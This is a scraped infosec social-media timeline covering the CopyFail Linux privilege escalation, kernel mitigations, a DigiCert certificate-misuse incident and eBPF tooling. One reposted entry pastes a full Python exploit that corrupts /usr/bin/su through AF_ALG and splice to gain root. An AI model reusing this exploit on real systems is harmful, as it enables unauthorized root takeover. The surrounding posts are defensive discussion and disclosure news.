p0sql

Cloud Native & Infosec enthusiast in telco world. Let's break things ! Bike Life 🏍️ 🇲🇶 || Some cool stuff ::

[p0sql @p0sql]

I currently do analysis of PKU2U protocol which is used by joined clients to Azure AD during an authentification. For my part, this protocol is very interest because we can call it "The Kerberos of Web" lol.

[Samir @SBousseaden]

new detection content for Kubernetes covering a variety of techniques using k8 audit logs:

https://t.co/VTBCknTQaP

[Unlock Your Brain, Harden Your System @UYBHYS]

Unlock Your Brain, Harden Your System 2026

L'appel à communication est ouvert jusqu'au 1er juin
Call For Papers is open till June 1st

https://t.co/PGEzZvHIIu

[p0sql @p0sql]

@Brain0verride @_Nidouille_ Certes mais c’est surtout la manière qui me dérange après on doit gérer le bordel comme il vient effectivement, pas le choix.

[p0sql @p0sql]

@Brain0verride @_Nidouille_ La full disclosure n’est « vraiment » utile que quand les auteurs ne veulent pas corriger. Maintenant c’est juste des disclosures sauvages avec en plus un exploit livré, merci on aide les attaquants et script kiddies. Si seulement ce n’était qu’un write up…

[p0sql @p0sql]

@spendergrsec Thank you for the details ;)

[p0sql @p0sql]

@pbeyssac @bearstech https://t.co/1JqzRfZxhf

[grsecurity @grsecurity]

Creating a separate post so more people see this: the mitigation recommended by https://t.co/e2Cwqzet1X for https://t.co/1DsFYvMk41 *WILL NOT WORK* for any RHEL or RHEL-derived distro, including CentOS, Fedora, Oracle, and Alma as the vulnerable code is built-in.

[p0sql @p0sql]

@pbeyssac @bearstech Pas mal de distros proposent déjà le fix dont Fedora prenant effet sur le noyau 6.19.12. Et ce fix ne fonctionne pas non plus sur les distro rpm (grsec a proposé une autre approche pour celles-ci)

https://t.co/e6I4tFK1Sb

https://t.co/SpFAPxpEg8

https://t.co/tOdaOQsgzP

[grsecurity @grsecurity]

Creating a separate post so more people see this: the mitigation recommended by https://t.co/e2Cwqzet1X for https://t.co/1DsFYvMk41 *WILL NOT WORK* for any RHEL or RHEL-derived distro, including CentOS, Fedora, Oracle, and Alma as the vulnerable code is built-in.

[Bad Sector Labs @badsectorlabs]

CopyFail (CVE-2026-31431) in Go. In case you want to get root from a static binary without Python as a dependency.

https://t.co/w5NYM3JBvJ

[p0sql @p0sql]

I have tested it on 6.19.6-200.fc43.x86_64 on atomic version of Fedora with SELinux enabled and it works.
Patched with 6.19.14-300.fc44.x86_64
LSM does not protect you against this, patch your box !

[vx-underground @vxunderground]

CVE-2026-31431 a/k/a CopyFail

> Linux LPE
> Description sounds like AI slop
> Exploit is legit
> Impacts every Linux kernel from 2017 - Now
> Proof-of-concept released
> It's Wednesday?

https://t.co/FXgjWW7lOV

[grsecurity @grsecurity]

As https://t.co/1DsFYvMk41 (CVE-2026-31431) is a logic flaw, #grsecurity kernels older than our 6.18.21 LTS patch from April 14th with CONFIG_CRYPTO_USER and CONFIG_CRYPTO_USER_API_AEAD built-in or already loaded as a module by a privileged user are affected.

[Samir @SBousseaden]

splice + SUID execution sequence (catches the corruption + exploitation)

[Squiblydoo @SquiblydooBlog]

We didn't know how an actor was using EV Certificates issued to Lenovo and others.

We now do.

From DigiCert's incident report:
"the threat actor used a compromised analyst endpoint to access DigiCert's internal support portal. The threat actor used a limited function within the customer-support portal which allows authenticated DigiCert support analysts to access customer accounts from the customer's perspective to facilitate support tasks. The threat actor was able to use this function to access initialization codes for orders that were approved but pending delivery for EV Code Signing certificate orders across a finite set of customer accounts."

"Possession of the initialization code, combined with an approved order, is functionally sufficient to generate and retrieve the corresponding certificate."

The full report can be found here and explains the incident in great detail: https://t.co/zceZsSg8yH

The report mentions "Where we got lucky: A community member involved in security research reported the evolving pattern of misused certificates and engaged in dialogue with our support team. Without that report, the undetected compromise of ENDPOINT2 and the associated mis-issuance might have remained undiscovered for a longer period."

Special thanks goes to the regular contributors to the Cert Graveyard; @g0njxa , @malwrhunterteam , and others.

Also special thanks to DigiCert: this report has a high level of transparency, which is warranted, and also well executed.

[p0sql @p0sql]

Damn dude, I did’nt understand why I have received this shit but it’s clear now…

[Squiblydoo @SquiblydooBlog]

@malwrhunterteam @g0njxa The name Zhong Stealer seems to be a misnomer. Based on my analysis, it seems to be a RAT.

They send a fake image/screenshot in a phishing email.
When ran by a user, it displays a JPEG of an error, and pulls down the second stage from a CDN like AWS.
4/7

[b0t 👽🏴‍☠️ @bot59751939]

Entire exploit(pasting from Github):
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=https://t.co/dIqE5PbL5r("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

[vx-underground @vxunderground]

CVE-2026-31431 a/k/a CopyFail

&gt; Linux LPE
&gt; Description sounds like AI slop
&gt; Exploit is legit
&gt; Impacts every Linux kernel from 2017 - Now
&gt; Proof-of-concept released
&gt; It's Wednesday?

https://t.co/FXgjWW7lOV

[Ivan Velichko @iximiuz]

It took Kubernetes (well, more like Linux kernel and the container ecosystem) 10 years to come to this point. But that's an important milestone.

[Immanuel @immanuel_vibe]

everyone thinks eBPF = fancy tcpdump. no. it's basically a safe little VM inside your kernel and people are abusing it in wild ways:

- sched_ext lets you write your linux CPU scheduler in userspace. yes. swap out CFS for your own logic. gaming, latency-critical trading, AI workloads — all getting custom schedulers now.

- SO_REUSEPORT + eBPF = you pick which socket gets the packet. consistent hashing load balancing with zero proxy, zero hop. Cloudflare does this, Katran (FB's L4 LB) does 10M+ pps with XDP.

- uprobes on SSL_read/SSL_write means you can see decrypted TLS traffic without MITM or cert tricks. just hook libssl in-process. sounds illegal, isn't.

- BPF LSM hooks — literally write kernel security policy as a program. Tetragon, Falco, bpflock all doing runtime enforcement that SELinux could only dream of.

- computational storage offload — people are running eBPF on the SSD itself. compute near the bytes, skip the PCIe round trip. wild stuff.

- and yes there's eBPF rootkits (ebpfkit, TripleCross) hiding processes and hijacking syscalls from the kernel. defensive tech is also offensive tech, always.

oh and windows has eBPF now too btw. the "linux thing" era is over, this is becoming the universal safe-code-in-kernel standard.

tldr: if you're still using eBPF just for bpftrace one-liners you're leaving like 90% of the power on the table

by the way you can check this nice repo with a lot of interesting eBPF-based tools:
https://t.co/JbTWki1nSy

#ebpf #networking #cilium #cloud #devops #sre #kubernetes #k8s

[p0sql @p0sql]

@ThisIsJaxxou Qui est l’auteur du livre ? Y’a un lien pour achat ?

[0x45 @0x45o]

bro